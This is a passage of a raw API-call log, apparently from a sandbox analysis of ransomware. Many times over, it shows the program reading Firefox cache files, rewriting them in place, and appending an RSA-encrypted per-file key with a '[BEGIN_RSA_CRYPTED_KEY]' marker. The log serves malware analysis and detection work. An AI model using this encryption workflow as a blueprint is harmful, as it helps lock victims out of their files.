1 [0251.586] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.586] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.586] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.586] CloseHandle (hObject=0x1b84) returned 1 [0251.588] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.588] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FE6CE16384948BCF923653DC0B5758B3FF67298B", dwFileAttributes=0x80) returned 1 [0251.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344c288 [0251.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.589] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x208bc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x208bc, lpOverlapped=0x0) returned 1 [0251.603] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-133308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.603] WriteFile (in: hFile=0x1b84, lpBuffer=0x346e920*, nNumberOfBytesToWrite=0x208bc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x346e920*, lpNumberOfBytesWritten=0x2e3f9b4*=0x208bc, lpOverlapped=0x0) returned 1 [0251.604] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x208bc [0251.604] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.604] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.605] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.605] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.605] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.605] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AybyxkrlyV0ki0arINgQ/RmfNXSB755dCBUvW9BNh+d1LsdCG3IO7qOcCIhvSYb6\nwpWbkbW1x9disMOCYC5VX8nMnUDnFXfs9c2KZIzYEdK0lr1dD5NDIqr05cVY9xJU\n9U5IBes45Qkupruc8OkIXTxkd/uFuq7PeD1QIkvjvf8nN5U/BYf0mfQZ7fG9vQYp\nRe9wVVttJhuDsuSDmp3Nf/gDAiUWZsv2tVMqsvBqNPH4dPFALn45169udk9IIgRk\n6+iqtdisAhyrshft4YH6a03rkmnBkkTmjwDX4018b+jHRWAsUBI8gt3n33vBj6Sr\nPSJhdZU8Q4btEsHS3Wgnaw==\n", pcchString=0x2e3f9a8) returned 1 [0251.605] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.605] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.605] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.605] CloseHandle (hObject=0x1b84) returned 1 [0251.607] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.607] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FE27628762D619B1EF85CF4ED8A72F6A61FA5EA5", dwFileAttributes=0x80) returned 1 [0251.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344d728 [0251.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.607] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0251.616] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.616] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f198*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0251.616] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1137 [0251.616] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.616] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.617] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.617] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.617] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.617] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vTB9vtVO4lqk0dcwVO+xrqtfSiWh4d4bFqP1/f+cIGmkowyWatieS2D7y3u+F6ng\nWIVdUbin9jhIzRu/hQmgMu03t6w6F4DRbBatLfxZIWcieAHOQ6N1sQtKjRZknjuA\n40AO0lHkWpapK8Z7zDJ6mouGJuA90GgDXvqYGbcf0pVXeCansQO5EgPUs2FdnBZj\ntV59yW6JNZJrJJ+lNz4Phepse61iga2z0mwjKbr+WXjAJFMt4s3aQUzL39YHaHzQ\nE7GOEyYnuSqwPozdZbFA2wJZ1q17eo5TlYPPB9bi9EOwX5Ki7UmliyhnSfX7ZsAG\nYoma61FIYb5RjVpu+bzyAA==\n", pcchString=0x2e3f9a8) returned 1 [0251.617] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.617] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.617] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.618] CloseHandle (hObject=0x1b84) returned 1 [0251.619] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.619] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FE23ECF4BC78300C181857098C8F7A2AF3A1D67B", dwFileAttributes=0x80) returned 1 [0251.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344c8b8 [0251.619] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.619] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x4fff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x4fff, lpOverlapped=0x0) returned 1 [0251.640] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-20479, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.640] WriteFile (in: hFile=0x1b84, lpBuffer=0x3453060*, nNumberOfBytesToWrite=0x4fff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3453060*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4fff, lpOverlapped=0x0) returned 1 [0251.641] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4fff [0251.641] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.641] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.643] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.643] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nKH2KM8Dn1zAO3qhhRHE3ec9y6BNs/PpqivCjEHeiJk8uUx5LRfADGFWmvMW+Llx\nAV0DNezA0Tg6mtruGhMNSGFRkWZ8QOptZLE2HFzjLa3WtWJxiEi8/yq+pVvSH+dV\nsg0aAwgVSMoyC96gJgYwLEhPbCVKJd78/9Xgw54Sjjxyo9cls2rg10n1bRw/EWym\nY3+3AaaeaAFUjuEWGpxO3YyswxrHU+ZCKPCLnLQqYefwDUQ53r3NFr275E6/qLCP\nXvRsNXWNre0fuFESIBWZYzBJHjjTqsF3ACsI7O/tczQo70nu1HUvdya1qUY6dqyT\n1L3RzU1EQwVUmqFm6+qisA==\n", pcchString=0x2e3f9a8) returned 1 [0251.643] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.643] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.643] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.644] CloseHandle (hObject=0x1b84) returned 1 [0251.715] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FD017456EAF07CD45B9C7E270A17D7CAB963525C", dwFileAttributes=0x80) returned 1 [0251.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344c8b8 [0251.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.716] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1805, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1805, lpOverlapped=0x0) returned 1 [0251.734] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.734] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f868*, nNumberOfBytesToWrite=0x1805, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f868*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1805, lpOverlapped=0x0) returned 1 [0251.735] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1805 [0251.735] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.735] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.735] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.735] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/CXvjvWZcdQtC3SZ1BS4QOOm0qZApH37A5wLpxQAG30N8ESDL+M43RS16HJGvU9p\n+IxY57wPPHU8mp7Z5BX508nqF4LsrK8z+AIzmiEePgj9FC6qi5vftJDQLzjk5xpo\nvlQEwKQOcMuyUgII+8V1cfjIx1gAVmWBmSsUwAqQDC5klF2/eAgNRRgHh5jsh5hn\nIiDPRye1owl7Xt62xrsMbhX0zicAl3uVar1SRVxG9txVI7lyz6anxMlDuEBBsa/p\n7S2nn3gbRt2LT7J09H10+YyHqIpj5ea7fJ46z1XpJxD0mhcbGJ6ftlMQX5+bU4bi\n96UayweJfFIvkLiG7MMCJA==\n", pcchString=0x2e3f9a8) returned 1 [0251.736] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.736] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.736] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.736] CloseHandle (hObject=0x1b84) returned 1 [0251.737] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.737] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FCA36462211D8565F14C46E31D4B58A5F5077EA2", dwFileAttributes=0x80) returned 1 [0251.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344cde0 [0251.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.738] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x215b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x215b, lpOverlapped=0x0) returned 1 [0251.739] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8539, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.739] WriteFile (in: hFile=0x1b84, lpBuffer=0x34501c0*, nNumberOfBytesToWrite=0x215b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34501c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x215b, lpOverlapped=0x0) returned 1 [0251.740] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x215b [0251.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.740] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.740] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dMMycbPzGm193sFdrdDyaE0zPlw8XSVJedOra9dwIZAnNhwCgVzB6ZippTZIiwYi\nXEHi2Wi4H+LmfRQ2aTR2//6wKAYqFHfgG4GpSHutckxy8xUmB7Q/GlSLKN9Axo3r\nk7VX+oUHKNPv+wfwWAuVID69SWb9Tj99CEC15vOSu+J9o4f0mL939Sc3jjHdG2ds\nGNRKw5aZ8OCIfXvRiTUb7ZDlWWNEYsYhsWD2B8XGHDUJRDxc6YD/Wdegma9Os2q/\nKrW+hIa/8uf6ok4dweAfOrz0L5lH80aDPwkghPLRtmZso9rOH7+mrzB/e3Bh0hrj\nUxTrfzqONmB0ec+1QSUjRw==\n", pcchString=0x2e3f9a8) returned 1 [0251.741] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.741] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.741] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.741] CloseHandle (hObject=0x1b84) returned 1 [0251.742] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.742] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FC5A61041804A8E6AE2756882E4E0669FBCA7326", dwFileAttributes=0x80) returned 1 [0251.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344d200 [0251.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.743] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xea0, lpOverlapped=0x0) returned 1 [0251.748] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.748] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xea0, lpOverlapped=0x0) returned 1 [0251.749] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xea0 [0251.749] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.749] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.749] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0251.749] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0251.749] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0251.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0251.749] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nOjSJ+4wuxkLB17IE4jP+42VB+vami/2IJ2Ty7QcOl/rrSClIKmoAzOLVAyk7dyf\nWByertZGKMWc4iljnRBE8gpLua2y3mPcGSI7CieBszcPqF9dC1kIWzJgY/Nh7AaO\nqlSlUDu//pCNBhrahHSEH7BGZV3v0hLJ9NSKLBxxTLrS0utRuMYpPXPoIZoHrPHN\nugpV7xpxGKCWAKfWg6o5dxpqxUrdtsQGGDnWDH4FRQcV2kh/t/p+rHBRcKHqAY5V\nKtnlw6gtCFtjFmj1Sw98eOeZYbejH9MmeAecbrCHIEKslE4QmDsYZwB47lzshliV\n75kqPH1BBEL2l/cRQOxyUg==\n", pcchString=0x2e3f9a8) returned 1 [0251.749] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0251.750] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0251.750] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0251.750] CloseHandle (hObject=0x1b84) returned 1 [0251.751] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0251.751] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FC508BCC39DFA10FF406B6430E608D878EE472A5", dwFileAttributes=0x80) returned 1 [0251.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x344dc50 [0251.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0251.752] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1d63, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1d63, lpOverlapped=0x0) returned 1 [0251.761] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-7523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0251.761] WriteFile (in: hFile=0x1b84, lpBuffer=0x344fdc8*, nNumberOfBytesToWrite=0x1d63, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344fdc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1d63, lpOverlapped=0x0) returned 1 [0251.762] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, 